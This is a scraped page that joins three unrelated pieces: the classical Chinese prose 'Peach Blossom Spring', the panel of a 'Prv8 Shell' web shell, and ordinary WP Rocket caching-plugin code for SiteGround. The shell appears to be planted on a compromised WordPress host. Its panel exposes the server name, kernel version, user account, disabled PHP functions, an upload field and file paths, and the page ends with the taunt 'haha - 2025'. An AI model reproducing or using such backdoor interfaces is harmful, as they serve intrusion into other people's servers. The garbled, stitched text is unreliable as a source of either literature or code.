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　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /home/rainic/public_html/oldTZh/wp-content/plugins/wp-rocket/inc/3rd-party/hosting/

Upload File :

Current File : /home/rainic/public_html/oldTZh/wp-content/plugins/wp-rocket/inc/3rd-party/hosting/siteground.php

<?php

defined( 'ABSPATH' ) || exit;

/**
 * Returns the current version of the SG Optimizer plugin.
 *
 * @since  3.2.3.1
 * @author Remy Perona
 *
 * @return string version number.
 */
function rocket_get_sg_optimizer_version() {
	static $version;

	if ( isset( $version ) ) {
		return $version;
	}

	$sg_optimizer = get_file_data( WP_PLUGIN_DIR . '/sg-cachepress/sg-cachepress.php', [ 'Version' => 'Version' ] );
	$version      = $sg_optimizer['Version'];

	return $version;
}

/**
 * Checks if SG Optimizer Supercache is active.
 *
 * @since  3.2.3.1
 * @author Remy Perona
 *
 * @return bool
 */
function rocket_is_supercacher_active() {
	if ( ! version_compare( rocket_get_sg_optimizer_version(), '5.0' ) < 0 ) {
		global $sg_cachepress_environment;

		return isset( $sg_cachepress_environment ) && $sg_cachepress_environment instanceof SG_CachePress_Environment && $sg_cachepress_environment->cache_is_enabled();
	}

	return (bool) get_option( 'siteground_optimizer_enable_cache', 0 );
}

/**
 * Call the cache server to purge the cache with SuperCacher (SiteGround).
 *
 * @since 2.3
 *
 * @return void
 */
function rocket_clean_supercacher() {
	if ( ! rocket_is_supercacher_active() ) {
		return;
	}

	if ( ! version_compare( rocket_get_sg_optimizer_version(), '5.0' ) < 0 ) {
		SiteGround_Optimizer\Supercacher\Supercacher::purge_cache();
	} elseif ( isset( $sg_cachepress_supercacher ) && $sg_cachepress_supercacher instanceof SG_CachePress_Supercacher ) {
		$sg_cachepress_supercacher->purge_cache();
	}
}

/**
 * Clean WP Rocket cache when cleaning SG cache
 *
 * @return void
 */
function rocket_sg_clear_cache() {
	if ( empty( $_GET['_wpnonce'] ) ) {
		return;
	}

	if ( ! wp_verify_nonce( sanitize_key( $_GET['_wpnonce'] ), 'sg-cachepress-purge' ) ) {
		return;
	}

	if ( ! current_user_can( 'rocket_purge_cache' ) ) {
		return;
	}

	rocket_clean_domain();
}

if ( rocket_is_supercacher_active() ) {
	add_action( 'admin_post_sg-cachepress-purge', 'rocket_sg_clear_cache', 0 );
	add_action( 'after_rocket_clean_domain', 'rocket_clean_supercacher' );
	add_filter( 'rocket_display_varnish_options_tab', '__return_false' );
	// Prevent mandatory cookies on hosting with server cache.
	add_filter( 'rocket_cache_mandatory_cookies', '__return_empty_array', PHP_INT_MAX );

	/**
	 * Force WP Rocket caching on SG Optimizer versions before 4.0.5.
	 *
	 * @since  3.0.4
	 * @author Arun Basil Lal
	 *
	 * @link   https://github.com/wp-media/wp-rocket/issues/925
	 */
	if ( version_compare( rocket_get_sg_optimizer_version(), '4.0.5' ) < 0 ) {
		add_filter( 'do_rocket_generate_caching_files', '__return_true', 11 );
	}

	if ( version_compare( rocket_get_sg_optimizer_version(), '5.0' ) < 0 ) {
		add_action( 'wp_ajax_sg-cachepress-purge', 'rocket_sg_clear_cache', 0 );
	} else {
		add_action( 'wp_ajax_admin_bar_purge_cache', 'rocket_sg_clear_cache', 0 );
	}
}

haha - 2025